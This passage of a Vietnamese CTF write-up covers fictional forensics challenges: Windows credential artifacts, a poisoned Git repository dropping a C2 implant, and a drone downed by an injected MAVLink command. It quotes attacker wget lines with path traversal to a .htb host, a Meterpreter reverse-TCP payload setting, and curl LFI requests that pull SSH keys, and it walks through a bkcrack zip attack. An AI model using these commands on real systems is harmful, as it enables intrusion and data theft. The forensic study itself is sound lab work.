SruDbIdMapTableđể tra cứu mãAppIdcủa tiến trình độc hạiE:\CO-LT-0469 update package\update.exe.- Kết quả:
IdIndex = 430.
- Kết quả:

- Mở bảng
{973F5D5C-1D90-4944-BE8E-24B94231A174}và lọc các bản ghi có trườngAppId = 436. Khi tra cứu mã độc trong bảng ánh xạSruDbIdMapTable, tiến trìnhupdate.exeđược ghi nhận dưới 2 định danh:
IdIndex = 430: Tên tiến trình ngắn (!!update.exe!2010/04/14:22:06:53!3b283!)AppId = 436: Đường dẫn thiết bị đầy đủ của USB (\device\harddiskvolume5\co-lt-0469 update package\update.exe)
Tổng dung lượng byte gửi ra mạng:

172.064531
Q9: Voss reviewed DIOGENES contractors NAPOLEON may now hunt. What set of credentials did the spying surface for a developer working on DIOGENES tickets? (username:password)
Yêu cầu: Xác định bộ thông tin đăng nhập (username:password) của developer làm việc với các ticket DIOGENES mà hoạt động gián điệp/điều tra đã thu thập được.
Ban đầu khi truy tìm credentials của “developer”, mình tiếp cận theo hướng dump LSA secrets từ hive SECURITY và chạy secretsdump.py offline trên cả 3 hive SYSTEM, SAM, SECURITY. Mặc dù giải mã được bootkey và lấy được NTLM hash của 2 tài khoản cục bộ trên máy, nhưng khi ném vào hashcat với rockyou.txt và wordlist tự tạo thì không thể bẻ khóa được. Thực tế đây là một ngõ cụt (dead end) vì những hash này chỉ là tài khoản admin cục bộ của máy trạm chứ không phải tài khoản developer làm việc với ticket DIOGENES. Tương tự, các phím bấm thu được từ keylogger trong SRUDB.dat cũng không chứa thông tin đăng nhập này.
Manh mối thực sự lại nằm ở cơ sở dữ liệu chỉ mục tìm kiếm của Windows (Windows Search Index) tại:
1 | C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb |
Khi nạn nhân Clara Voss mở các tệp PDF tài liệu của nhà thầu trên Desktop (trong thư mục DIOGENES_26), trình duyệt Microsoft Edge đã tự động lập chỉ mục toàn bộ nội dung văn bản thuần (plaintext) bên trong file PDF và lưu vào Windows.edb.
Tuy nhiên, cơ sở dữ liệu Windows Search sử dụng cơ chế nén chuỗi theo từng cột (per-column string compression / LZNT1), nên nếu dùng thư viện pyesedb thông thường thì dữ liệu đọc ra từ bảng SystemIndex_PropertyStore sẽ bị lỗi font và toàn ký tự rác. Để khắc phục, mình chuyển sang sử dụng thư viện dissect.esedb có hỗ trợ giải nén định dạng này:
Sử dụng script Python để duyệt bảng SystemIndex_PropertyStore và tìm kiếm các thông tin liên quan đến DIOGENES:
1 | from dissect.esedb import EseDB |
Tại bản ghi số 88 tương ứng với tệp hồ sơ nhân sự của nhà thầu EXT-0419.pdf, trường System_Search_AutoSummary lưu giữ trọn vẹn nội dung của file:

1 | PERSONNEL & ACCESS FILE — EXTERNAL CONTRACTOR |
Toàn bộ thông tin đăng nhập của developer Tom Ainsworth (EXT-0419) phụ trách migrate ticket DIOGENES:
- Username:
tainsworth - Password:
D10g3n3s_T1ck3ts#2026
Cặp thông tin đăng nhập này nằm sẵn trong search index của hệ thống và có thể khôi phục mà không cần mở trực tiếp file PDF gốc. Đây cũng chính là nhân vật Tom và repository diogenes-ticket-parser dẫn sang thử thách tiếp theo (Sherlock 05 - Poisoned Branch).
tainsworth:D10g3n3s_T1ck3ts#2026
5 - Poisoned Branch
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.
Difficulty: Medium
Q1: What was the name of the malicious repository? (string)
Yêu cầu: Xác định tên kho lưu trữ mã nguồn (Git repository) độc hại mà nạn nhân đã tải về máy.
Bắt đầu bằng việc kiểm tra thư mục dự án của nạn nhân tại /home/Tom/Projects/

Và phân tích nhật ký thực thi lệnh trong /var/log/audit/audit.log. Trong file log audit, lọc các sự kiện thực thi lệnh gọi tới binary git

Nạn nhân đã clone repo diogenes-ticket-parser từ hệ thống Git server nội bộ của công ty (devforge.internal). Đây chính là kho lưu trữ bị kẻ tấn công đầu độc
diogenes-ticket-parser
Q2: What email address is listed for the author of the repo? (email address)
Yêu cầu: Xác định địa chỉ email của tác giả (commit author) đã tạo nên repo độc hại.
Di chuyển vào thư mục .git của kho lưu trữ diogenes-ticket-parser. Khi kiểm tra lịch sử commit bằng lệnh git log hoặc trực tiếp giải nén các zlib git pack object trong .git/objects/pack/
Trích xuất thông tin metadata của commit:
Tác giả đứng sau commit độc hại sử dụng định danh cbass.Moran thuộc domain máy chủ của kẻ tấn công blackpearl2026.htb.
Q3: What file holds the encrypted payload? (filename.ext)
Yêu cầu: Xác định tên file lưu trữ mã độc đã được mã hóa trong repository.
Phân tích cấu trúc thư mục của diogenes-ticket-parser. File ticket_parser.py gọi module src/ticket_parser/telemetry.py. Khi đọc nội dung file này:


Hàm repeating() thực hiện giải mã XOR lặp byte giữa diogenes.jpg (kích thước ~33 KB) và calibration.bin (kích thước ~1.1 MB). Về mặt kỹ thuật, file ảnh diogenes.jpg đóng vai trò là key XOR lặp lại, còn file chứa toàn bộ payload nhị phân mã hóa chính là calibration.bin
calibration.bin
Q4: What is the full path of the c2 implant? (/path/to/file)
Yêu cầu: Xác định đường dẫn tuyệt đối của payload C2 sau khi được giải mã và ghi xuống đĩa.
Tiếp tục phân tích hàm validate_environment() trong file telemetry.py


Đoạn mã ghép nối Path.home() (ứng với user Tom là /home/Tom) cùng 3 thành phần đường dẫn được giải mã từ Base64:
LmNhY2hl→.cacheLnRpY2tldC1wYXJzZXI=→.ticket-parserLmludGVncml0eQ==→.integrity
Đường dẫn hoàn chỉnh của implant được thả xuống đĩa là /home/Tom/.cache/.ticket-parser/.integrity
/home/Tom/.cache/.ticket-parser/.integrity
Q5: What port did the implant connect back to? (number)
Yêu cầu: Xác định cổng (port) mạng mà mã độc C2 kết nối về máy chủ điều khiển.
Kiểm tra artifact trạng thái kết nối mạng được UAC thu thập tại thời điểm xảy ra sự cố trong file uac_output/live_response/network/lsof_-nPli.txt
Bản ghi socket cho thấy kết nối TCP outbound ra ngoài Internet
Mã độc thiết lập kết nối socket ra ngoài tới địa chỉ IP 203.0.113.10 qua port 31337
31337
Q6: What is the pid of the implant? (number)
Yêu cầu: Xác định Process ID (PID) của tiến trình mã độc C2 đang thực thi trên hệ thống.
Đối chiếu thông tin tiến trình từ bản ghi lsof ở câu trước với file danh sách tiến trình uac_output/live_response/process/ps_auxwww.txt


Tiến trình implant chạy dưới quyền tài khoản Tom với PID là 1514
1514
Q7: The attacker tried to use URL:PORT before using IP:PORT to download a file to Tom’s machine. What was the URL:PORT combo? (set the spawned vm IP to this URL in your /etc/hosts to complete the challenge)
Yêu cầu: Xác định cặp URL:PORT mà kẻ tấn công đã cố gắng sử dụng để tải file trước khi chuyển sang dùng IP:PORT.
Kiểm tra toàn bộ các lệnh tải file qua mạng trong /var/log/audit/audit.log bằng cách lọc syscall EXECVE đối với binary /usr/bin/wget các tham số dòng lệnh được ghi lại dưới dạng chuỗi Hex mã hóa, tiến hành giải mã:
- Lệnh 1

Giải mã các phần tương ứng
1 | a1= -q |
Ghép các phần như trong log lại ta được:
1 | wget -q --header=Cookie: X-Operator-Auth=napoleon_moran_1894 -O authorized_keys http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub ls -la |
- Lệnh 2

Giải mã các phần tương ứng
1 | a1= -q |
Ghép các phần như trong log lại ta được:
1 | wget -q --header=Cookie: X-Operator-Auth=napoleon_moran_1894 -O authorized_keys http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub |
Kẻ tấn công ban đầu cố gắng kết nối tới domain BlackPearl2026.htb:9999, nhưng do máy nạn nhân chưa được phân giải DNS nội bộ tới domain này nên lệnh thất bại, buộc attacker phải đổi sang IP trực tiếp
BlackPearl2026.htb:9999
Q8: What is the name of the Cookie/Token for the attackers web server? (Header=value)
Yêu cầu: Xác định Header Cookie/Token xác thực trên máy chủ web của kẻ tấn công.
Từ lệnh wget được trích xuất trong audit.log ở câu Q7, tham số --header được kẻ tấn công sử dụng để bypass cơ chế bảo vệ của web server:
1 | --header="Cookie: X-Operator-Auth=napoleon_moran_1894" |
Chuỗi Header=value được dùng làm token phân quyền là X-Operator-Auth=napoleon_moran_1894
X-Operator-Auth=napoleon_moran_1894
Q9: The attacker deleted a file before leaving. What command did they run? (string)
Yêu cầu: Xác định câu lệnh chính xác mà kẻ tấn công đã thực thi để xóa tài liệu trước khi rút lui.
Lọc các bản ghi EXECVE trong file audit.log có thực thi chương trình xóa file /usr/bin/rm

Kẻ tấn công đã chạy lệnh xóa file tài liệu nhân sự khẩn cấp Gov_HR_Continuity_Emergency_Callout_Roster.pdf
rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
Q10: What was the ppid of the command from the previous question? (number)
Yêu cầu: Xác định Parent Process ID (PPID) của lệnh xóa file ở câu hỏi trước.
Xem bản ghi type=SYSCALL có cùng timestamp và event ID với bản ghi EXECVE của lệnh rm

Trường ppid ghi nhận giá trị tiến trình cha khởi tạo lệnh rm là 1549 (tiến trình shell được spawn từ Meterpreter)
1549
Q11: While preparing the listener the attacker declared the architecture of the implant. What command did they use? (string)
Yêu cầu: Xác định lệnh mà kẻ tấn công đã sử dụng để cấu hình kiến trúc (architecture/payload) cho listener trên Metasploit.
Sử dụng Cookie Editor để thêm cookie xác thực X-Operator-Auth=napoleon_moran_1894:

Sau khi cấu hình Cookie thành công, mình truy cập được vào giao diện web nội bộ của kẻ tấn công:

Sử dụng thông tin máy chủ của kẻ tấn công được cấp (10.129.2.235 / BlackPearl2026.htb:9999) và Cookie X-Operator-Auth=napoleon_moran_1894. Kiểm tra endpoint /download phát hiện lỗ hổng Local File Inclusion (LFI).
Tải file lịch sử dòng lệnh của Metasploit Framework
1 | curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" "http://BlackPearl2026.htb:9999/download?file=../../.msf4/history" |
Nội dung thu được:


Lệnh khai báo kiến trúc và loại payload là set payload linux/x64/meterpreter_reverse_tcp
set payload linux/x64/meterpreter_reverse_tcp
Q12: The attacker attempted to locate a specific directory and file combo. What command did they run? (string)
Yêu cầu: Xác định câu lệnh tìm kiếm kết hợp cả thư mục và định dạng file mà kẻ tấn công đã chạy.
Kiểm tra file public key id_rsa.pub mà kẻ tấn công cố tải về, mình nhận định có khả năng file private key tương ứng cũng tồn tại trên web server:

Thử bỏ phần mở rộng .pub để tải trực tiếp file id_rsa, máy chủ trả về nội dung private key thành công:

Tiếp tục khai thác LFI trên server kẻ tấn công để tải file private SSH key ~/.ssh/id_rsa
1 | curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" \ |
Thiết lập quyền cho file key và đăng nhập SSH vào server 10.129.2.235 với user moran
1 | ssh -i id_rsa moran@10.129.6.169 |
Kiểm tra file lưu trữ lịch sử tương tác Meterpreter tại /home/moran/.msf4/meterpreter_history

Nhật ký dòng lệnh:

Lệnh tìm kiếm chỉ định cụ thể thư mục (-d ONBOARDING) và loại file (-f *.pdf) là search -d ONBOARDING -f *.pdf
search -d ONBOARDING -f *.pdf
Q13: What is the name of the file the attacker is keeping the exfiltrated documents in? (filename.ext)
Yêu cầu: Xác định tên file nén mà kẻ tấn công dùng để lưu trữ các tài liệu đã đánh cắp trên server của mình.
Trên máy chủ kẻ tấn công, điều hướng vào thư mục /home/moran/Exfiltrated_Loot/

File README.txt ghi chú: “Upon exfiltration of loot. Package into a password protected zip. Remove remnants.”. File nén chứa tài liệu trích xuất là LOOT.zip
LOOT.zip
Q14: What is the name of the person that has their position redacted? (FirstName LastName)
Yêu cầu: Xác định họ và tên của nhân sự bị bôi đen chức vụ (REDACTED) trong tài liệu bị đánh cắp.
Trước tiên để giải mã mình cần tải 2 file trong thư mục về với lần lượt 2 lệnh
1 | curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" "http://BlackPearl2026.htb:9999/download?file=../../Exfiltrated_Loot/LOOT.zip" -o LOOT.zip |
1 | curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" "http://BlackPearl2026.htb:9999/download?file=../../Exfiltrated_Loot/README.txt" -o README.txt |
File LOOT.zip được bảo vệ bằng mật khẩu và không thể bẻ khóa bằng từ điển thông thường (rockyou.txt). Tuy nhiên, kiểm tra cấu trúc file zip bằng bkcrack

File README.txt bên trong zip có cùng kích thước (83 bytes) và CRC32 với file README.txt dạng plaintext đang có trên máy chủ. Đây là điều kiện hoàn hảo để tấn công Known-Plaintext Attack (KPA) đối với thuật toán ZipCrypto.
- Nén file plaintext
README.txt
1 | zip README.zip README.txt |
- Dùng
bkcrackphục hồi 3 khóa nội bộ
1 | bkcrack -C LOOT.zip -c README.txt -P README.zip -p README.txt |

Sau khi quét không gian khóa, thu được
1 | [Keys]: 85b6bbc1 27824945 ce665bee |
- Mở khóa file zip và đặt lại mật khẩu mới
1 | bkcrack -C LOOT.zip -k 85b6bbc1 27824945 ce665bee -U decrypted.zip azaki |

- Giải nén
decrypted.zipvà đọc nội dung file PDFGov_HR_Continuity_Emergency_Callout_Roster.pdf

Nhân viên có chức vụ bị che giấu là Sarah Kemp
Sarah Kemp
Q15: What is the address of the previously identified person? (string)
Yêu cầu: Xác định địa chỉ nhà riêng của nhân sự Sarah Kemp từ tài liệu đã giải mã.
Đối chiếu dòng dữ liệu của Sarah Kemp trong bảng danh sách nhân sự tại file PDF vừa giải mã ở câu Q14:

Địa chỉ của Sarah Kemp là Flat 6, Ashdown House, Palace Court, London W2 4LS
Flat 6, Ashdown House, Palace Court, London W2 4LS
7 - Iron Feather
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.
Difficulty: Hard
Q1: What eight-byte ASCII magic identifies the encrypted datastore format? (string)
Yêu cầu: Xác định chuỗi magic 8-byte ASCII được sử dụng để nhận dạng định dạng của datastore bị mã hóa.
Sử dụng Hex Editor hoặc lệnh đọc file cơ bản trên file dataman.encrypted, chúng ta có thể dễ dàng nhìn thấy 8 byte đầu tiên của file header chứa chuỗi nhận diện đặc trưng của PX4 cho định dạng mã hóa này

PX4DMENC
Q2: Which authenticated encryption algorithm protects the datastore? (string)
Yêu cầu: Thuật toán mã hóa xác thực nào được sử dụng để bảo vệ datastore?
Phân tích cấu trúc file dataman.encrypted, sau 8 byte magic là các byte đóng vai trò header/IV.
50 58 34 44 4d 45 4e 43: Mã ASCII của chữPX4DMENC(8 byte Magic).01 00 00 00: Phiên bản mã hóa (Version 1) (4 byte).d0 70 12 00: kích thước thực sự của dữ liệu Dataman gốc trước khi bị mã hóa 1,208,528

Kiểm tra kích thước tổng cộng của file dataman.encrypted

- Trừ đi 16 byte Header và phần dữ liệu gốc:
1,208,588 - 16 - 1,208,528 = 60 bytes
Phân bổ 60 bytes này vào các giao thức mật mã
- 16 bytes dành cho Salt (Muối) để đưa vào hàm KDF (PBKDF2) sinh ra Key.
- 12 bytes dành cho IV / Nonce (Vector khởi tạo). 12 byte (96-bit) chính là độ dài tiêu chuẩn và tối ưu nhất được NIST khuyến nghị cho thuật toán GCM.
- 16 bytes dành cho MAC / Auth Tag (Mã xác thực tính toàn vẹn). 16 byte (128-bit) là độ dài cố định của MAC sinh ra bởi thuật toán GCM. (Tổng cộng: 16 + 12 + 16 = 44 bytes + 16 byte Header = 60 bytes)
Tiếp đến mình kiểm tra file px4 và thấy suy đoán của mình đã đúng

AES-256-GCM
Q3: What is the Relative Virtual Address (RVA) of the custom key-derivation function? (hex number)
Yêu cầu: Tìm RVA (Relative Virtual Address) của hàm KDF (Key-Derivation Function) tùy chỉnh trong firmware.
Sử dụng công cụ phân tích tĩnh IDA Pro để load file ELF px4. Thay vì tìm kiếm string thông thường, ta tìm kiếm hằng số (Immediate Value) đại diện cho chuỗi magic PX4DMENC dưới định dạng hex Little-Endian là 0x434E454D44345850. IDA trả về hàm xử lý file dataman nằm tại địa chỉ 0x16FF1E

Tiếp tục dịch ngược (Decompile) hàm sub_16FE10 này bằng Hex-Rays để phân tích luồng thực thi (control flow). Ngay sau khi vượt qua câu lệnh check Magic String (size[0] != 0x434E454D...) và cấp phát bộ nhớ (malloc) cho Ciphertext, chương trình sẽ tiến hành đọc dữ liệu

Như trong đoạn mã giả C bên trên, trước khi hệ thống gọi các hàm API chuẩn của OpenSSL (EVP_aes_256_gcm) để giải mã, nó đã truyền dữ liệu Salt vào một hàm con (dòng 92) để tính toán sinh ra Key. Tên của hàm KDF tùy chỉnh này là sub_170AF0, đồng nghĩa với RVA (địa chỉ bắt đầu) của nó chính là 0x170af0
0x170af0
Q4: How many rounds are performed by the custom 32-bit mixing loop? (number)
Yêu cầu: Vòng lặp mix 32-bit tùy chỉnh thực hiện bao nhiêu round?
Tiếp tục truy vết vào bên trong hàm KDF tùy chỉnh sub_170AF0 vừa tìm được ở câu trước. Tại đây, trình dịch ngược (Decompiler) hiển thị một khối thuật toán mã hóa tùy biến rất phức tạp, chủ yếu sử dụng các phép toán thao tác bit (bitwise) như XOR, Shift và Rotate để xáo trộn dữ liệu

Toàn bộ khối lệnh xáo trộn này được đặt bên trong một vòng lặp. Quan sát điều kiện dừng của vòng lặp, ta thấy biến đếm của vòng lặp được giới hạn bởi giá trị 383
Do bộ đếm khởi tạo từ 0 và chạy đến 383, tổng số vòng lặp (rounds) mà thuật toán này thực hiện để mix dữ liệu là 384
384
Q5: Which standard KDF produces the AES key? (string)
Yêu cầu: Hàm KDF chuẩn nào được sử dụng để tạo ra key AES cuối cùng?
Sau khi khối dữ liệu Salt đi qua vòng lặp mix 384 rounds tùy biến ở câu trước, kết quả này được dùng làm đầu vào (đóng vai trò như một Password thô) cho một hàm tạo khóa chuẩn.
Kéo xuống cuối hàm KDF sub_170AF0, trình dịch ngược cho thấy lời gọi đến API thư viện mã hóa OpenSSL là PKCS5_PBKDF2_HMAC. Các tham số truyền vào bao gồm dữ liệu sau khi mix, Salt gốc, và số vòng lặp lặp lại (8192) để tăng cường độ khó brute-force

Từ tên hàm API này, ta dễ dàng xác định được thuật toán KDF tiêu chuẩn tạo ra 256-bit AES key là PBKDF2 (Password-Based Key Derivation Function 2)
PBKDF2-HMAC-SHA256
Q6: What AES-256 key is derived for the supplied encrypted image? (64 lowercase hexadecimal characters)
Yêu cầu: Key AES-256 được dẫn xuất từ image bị mã hóa là gì?
Để lấy được Key thực tế, thay vì code lại thuật toán KDF 384 rounds rất mất thời gian và dễ sai sót, ta sử dụng framework giả lập CPU Unicorn Engine. Ý tưởng là load phần .text (mã thực thi) của file px4 vào bộ nhớ giả lập, thiết lập thanh ghi, và cho Unicorn chạy từ đầu hàm KDF (0x170AF0) cho đến trước lời gọi PBKDF2 (0x170D50).
Khi Unicorn dừng lại, ta chỉ việc dump (trích xuất) bộ đệm 104-byte đã được xáo trộn từ RAM giả lập ra ngoài, sau đó kết hợp với thư viện hashlib của Python để chạy nốt hàm PBKDF2 chuẩn
1 | from elftools.elf.elffile import ELFFile |

a40ba87b8a0e21d4ead98b917c4bf0f60cc65b25c614b93f107e5ed1e483d6ce
Q7: Which of PX4’s two mission banks is active? (number)
Yêu cầu: PX4 lưu trữ ở 2 bank, bank nào đang được kích hoạt?
Hệ thống quản lý dữ liệu (Datamanager) của PX4 lưu trữ các lộ trình bay (Mission) bằng cơ chế Double Buffering (Bộ đệm kép), chia làm hai phân vùng: Bank 0 và Bank 1. Cơ chế này đảm bảo an toàn, giúp drone không bị lỗi nếu quá trình upload một mission mới bị gián đoạn giữa chừng.
Sau khi dùng AES-256-GCM key (ở Q6) để giải mã file thành dataman.decrypted

Ta sử dụng xxd để phân tích file nhị phân này

- Tại địa chỉ
00000f00: Đây là structDM_KEY_MISSION_STATE. Nó đóng vai trò là “Metadata” lưu trữ trạng thái của hệ thống. Nhìn vào byte đầu tiên08có thể là tổng số mission item, và đâu đó trong đây có biến lưu cờ chỉ định Bank 0 đang active. - Tại địa chỉ
0000211c(nằm xen giữa dòng 00002110): Đây chính là nơi Bank 0 bắt đầu! Khối dữ liệu cấu trúc này chứa các tọa độ GPS và độ cao (Altitude) được mã hóa dưới dạng float/double. - Bằng chứng MAVLink (Cực hay):
- Dòng
00002140, đoạn1600 0000chính là số22(Hệ thập phân). Trong giao thức MAVLink,22tương ứng với lệnh MAV_CMD_NAV_TAKEOFF (Cất cánh). - Dòng
000021c0, đoạn1000 0000chính là số16. Số 16 tương ứng với lệnh MAV_CMD_NAV_WAYPOINT (Bay đến tọa độ).
- Dòng
Vì toàn bộ các lệnh bay và tọa độ này xuất hiện ở vùng nhớ của Bank 0 (0x211c), còn phân vùng của Bank 1 (nằm ở địa chỉ 0xaf1c) thì không hề có dữ liệu nào cả (chứa toàn số 0 và bị xxd gom vào dấu *), ta có thể kết luận chắc chắn Bank 0 là Bank đang kích hoạt
0
Q8: How many mission items are stored in the active bank? (number)
Yêu cầu: Có bao nhiêu mission item được lưu trong bank đang hoạt động?
Trong bộ file đề bài, ban tổ chức cung cấp file log hệ thống dưới dạng đã mã hóa flight.ulg.encrypted. Bằng cách phân tích Header của file này (bắt đầu bằng chuỗi magic PX4ULENC), ta nhận thấy nó sử dụng chung cơ chế AES-256-GCM và chung Salt với file dataman.
Sử dụng lại AES Key đã trích xuất ở Q6, kết hợp với AAD, IV và MAC Tag tương ứng của file này, ta giải mã thành công và thu được file gốc flight.ulg

Tiếp theo, ta sử dụng công cụ ulog2csv để trích xuất file ULog này thành các file CSV đọc được bằng Excel

Lúc này, mở file flight_mission_result_0.csv (lưu trạng thái tiến trình bay), ta kiểm tra cột seq_total (tổng số sequence/item của nhiệm vụ). Dữ liệu hệ thống ghi nhận giá trị cố định xuyên suốt chuyến bay là 24

Điều này khẳng định có 24 mission items đã được nạp thành công lên drone
24
Q9: Which mission item triggers payload release? (number)
Yêu cầu: Mission item nào (số thứ tự) kích hoạt việc thả payload?
Để tìm ra số lượng nhiệm vụ con (mission items) đã được hoàn thành tính đến thời điểm giao hàng, ta tiếp tục phân tích file flight_mission_result_0.csv.
Tìm đến thời điểm hệ thống bắt đầu kích hoạt lệnh giao hàng (nằm ở Sequence số 11 và 12). Tại mốc thời gian 446656000 (ngay khi seq_current nhảy sang 11 để chuẩn bị thả hàng), ta kiểm tra cột seq_reached

Cột seq_reached (đại diện cho số lượng mission items đã bay qua và hoàn tất thành công) lúc này đang ghi nhận giá trị là 10
Điều này khẳng định drone đã hoàn thành trọn vẹn 10 mission items trong lộ trình trước khi tiến hành quy trình thả hàng (Payload Delivery)
10
Q10: Where was the drone supposed to land? (latitude,longitude; 5 decimal places)
Yêu cầu: Theo kế hoạch, drone dự kiến sẽ hạ cánh ở đâu? (5 số thập phân)
Trong các chiến dịch giao hàng bằng Drone tự động (Payload Delivery), lộ trình bay tiêu chuẩn luôn là một chu trình khép kín: Drone cất cánh từ điểm Home, bay đến các Waypoint để thả hàng, và mục tiêu cuối cùng trong lộ trình bay luôn là lệnh RTL (Return to Launch) để quay về hạ cánh an toàn tại bệ xuất phát.
Nhìn vào sequence đầu tiên (seq_current = 0, nav_cmd = 22 - Takeoff) trong file flight_navigator_mission_item_0.csv, ta thu được tọa độ gốc (Home Position)

Vì tọa độ hạ cánh dự kiến chính là tọa độ cất cánh, ta chỉ việc làm tròn cho đủ 5 chữ số phần thập phân theo đúng định dạng yêu cầu của đề bài
51.49970,-0.16080
Q11: Where did the drone take off? (latitude,longitude; 7 decimal places)
Yêu cầu: Xác định tọa độ cất cánh thực tế của drone. (7 số thập phân)
Để biết chính xác vị trí drone rời mặt đất, ta cần xác định mốc thời gian cất cánh. Trong file log hệ thống, sự kiện “Takeoff detected” (phát hiện cất cánh) được ghi nhận ở mốc thời gian khoảng 287000000 micro-giây.
Mở file flight_vehicle_global_position_0.csv (chứa tọa độ GPS thực tế của drone) và tìm đến mốc thời gian 287000000. Ta thu được tọa độ lúc cất cánh

51.4996987,-0.1607999
Q12: Where was the drone when payload release was triggered? (latitude,longitude; 7 decimal places)
Yêu cầu: Xác định vị trí của drone khi payload được thả. (7 số thập phân)
Dựa vào file flight_navigator_mission_item_0.csv, ta thấy tiến trình thả hàng được kích hoạt bắt đầu từ lệnh Delay (nav_cmd = 93) ở mốc thời gian 446656000, ngay sau đó là lệnh nhả servo (nav_cmd = 187) ở 448672000.
Vì câu hỏi là vị trí khi lệnh được “triggered” (bắt đầu kích hoạt), ta đối chiếu mốc thời gian 446656000 sang file flight_vehicle_global_position_0.csv. Tại đúng mốc thời gian này, drone ghi nhận tọa độ thực tế là

51.5035602,-0.1608417
Q13: Which MAVLink command was injected to bring down the drone? (string)
Yêu cầu: Lệnh MAVLink nào đã được “tiêm” vào hệ thống để hạ gục drone?
Drone không rơi do lỗi tự nhiên, đây là một cuộc tấn công có chủ đích thông qua giao thức MAVLink. Để tìm ra lệnh độc hại, ta kiểm tra file flight_vehicle_command_0.csv (ghi lại toàn bộ các lệnh điều khiển được gửi đến drone).
Quan sát các lệnh ở giai đoạn cuối chuyến bay (gần mốc rơi), ta phát hiện một điểm bất thường cực kỳ nghiêm trọng tại timestamp 520764000:
- Cột
command: 420 - Cột
param1: 101 - Cột
param2: 1

Tra cứu hệ thống MAVLink Messages, ID lệnh số 420 tương ứng với lệnh MAV_CMD_INJECT_FAILURE (Lệnh mô phỏng/Gây lỗi hệ thống).
Phân tích kỹ hơn các tham số đi kèm: param1 = 101 (đại diện cho Cụm Động Cơ - FAILURE_UNIT_SYSTEM_MOTOR) và param2 = 1 (đại diện cho trạng thái TẮT - FAILURE_TYPE_OFF).
Kẻ tấn công đã gửi thành công lệnh MAV_CMD_INJECT_FAILURE để ép toàn bộ động cơ của drone tắt ngay khi đang bay, dẫn đến việc rơi tự do
MAV_CMD_INJECT_FAILURE
Q14: How far did the drone travel between payload release and command injection? (horizontal metres, nearest whole number)
Yêu cầu: Khoảng cách di chuyển của drone giữa lúc thả payload và lúc bị tiêm lệnh độc hại?
Dựa vào phân tích các lệnh điều khiển (vehicle_command) ở các câu trước, ta xác định được 2 mốc thời gian quan trọng của phân đoạn bay này:
- Lúc kích hoạt lệnh nhả hàng (Payload release triggered):
timestamp = 446656000 - Lúc nhận lệnh độc hại tắt động cơ (Malicious failure injected):
timestamp = 520764000
Để tính quãng đường di chuyển trong khoảng thời gian này, ta tiến hành trích xuất dữ liệu từ file flight_vehicle_global_position_0.csv. Sử dụng một script Python nhỏ, ta lọc ra toàn bộ các điểm tọa độ (Vĩ độ, Kinh độ) nằm lọt trong khung thời gian từ 446656000 đến 520764000

Đưa các tọa độ đã lọc này lên công cụ geojson.io, ta vẽ được chính xác hình dáng quỹ đạo của phân đoạn bay này (đường màu trắng). Drone di chuyển dọc theo khu vực rìa công viên Hyde Park xuống Sloane Street

Để xác minh độ dài thực tế của phân đoạn quỹ đạo trên, ta sử dụng công cụ Thước đo (Ruler) trên Google Earth Pro. Khi nối các điểm tọa độ tương ứng trên bản đồ vệ tinh bằng cách xuất dư liệu trên geojson thành file .kml và nạp vào Google Earth Pro, công cụ đo lường trả về kết quả chiều dài quỹ đạo là 277
277
Q15: Where did the drone crash? (latitude,longitude; 7 decimal places)
Yêu cầu: Drone đã bị rớt ở tọa độ nào? (7 số thập phân)
Để xác định chính xác điểm đâm (impact point), thay vì chỉ lấy bừa một mốc tọa độ cuối cùng, ta cần phân tích dữ liệu vận tốc thẳng đứng (vz - vertical velocity) trong file flight_vehicle_local_position_0.csv.
Khi nhận lệnh tắt động cơ, drone bắt đầu rơi tự do. Ta quan sát thấy thông số vz tăng vọt lên mức hơn 9.76 m/s (vận tốc rơi cực nhanh). Tuy nhiên, hãy nhìn vào sự chuyển biến ở mốc thời gian quanh 525848000:
timestamp = 525840000:vz = 9.76 m/s(Đang rơi với tốc độ tối đa)timestamp = 525848000:vz = 4.88 m/s(Bắt đầu va chạm)timestamp = 525856000:vz = 0.01 m/s(Đứng khựng lại)

Mốc thời gian 525856000 chính là tích tắc (millisecond) đầu tiên drone hoàn toàn tiếp đất và bị triệt tiêu vận tốc thẳng đứng.
Sau khi chốt được mốc thời gian tử thần này, ta dùng nó để đối chiếu sang file tọa độ GPS flight_vehicle_global_position_0.csv tại đúng dòng 525856000. Dữ liệu thu được:
Làm tròn 7 chữ số thập phân theo yêu cầu của đề bài, ta có tọa độ rơi chuẩn xác tới từng milimet.
51.5016938,-0.1620929
Q16: When was the drone disarmed after the crash? (seconds after boot; 3 decimal places)
Yêu cầu: Drone tự động ngắt (disarm) bao lâu sau khi rớt? (tính bằng giây, 3 số thập phân)
Khi một chiếc drone sử dụng PX4 bị rơi (crash) và nằm im trên mặt đất, tính năng an toàn của hệ thống (Auto-Disarm) sẽ được kích hoạt sau một khoảng thời gian ngắn để tránh cháy nổ động cơ.
Để tìm chính xác mốc thời gian này, ta trích xuất và phân tích file flight_actuator_armed_0.csv (file ghi lại trạng thái Bật/Tắt của động cơ và hệ thống vũ khí/cánh quạt).

Mở file ra và tìm đến thời điểm biến armed chuyển từ 1 (đang hoạt động) về 0 (ngắt hoàn toàn).
Hệ thống ghi nhận sự kiện ngắt này diễn ra ở mốc thời gian (timestamp): 576968000 (micro-giây).
Quy đổi micro-giây sang giây (chia cho 1,000,000), ta có thời điểm disarm chính xác:
576968000 / 1000000 = 576.968 giây
576.968
Q17: Which road is closest to the crash site? (string)
Yêu cầu: Con đường nào nằm gần nhất với vị trí rớt?
Ở câu Q15, chúng ta đã xác định được tọa độ va chạm (Impact Point) chính xác của drone khi rơi xuống đất là: 51.5016938, -0.1620929.
Để tìm tên của khu vực này, cách trực quan nhất là đưa toàn bộ quỹ đạo bay và điểm rơi lên bản đồ vệ tinh bằng geojson.io

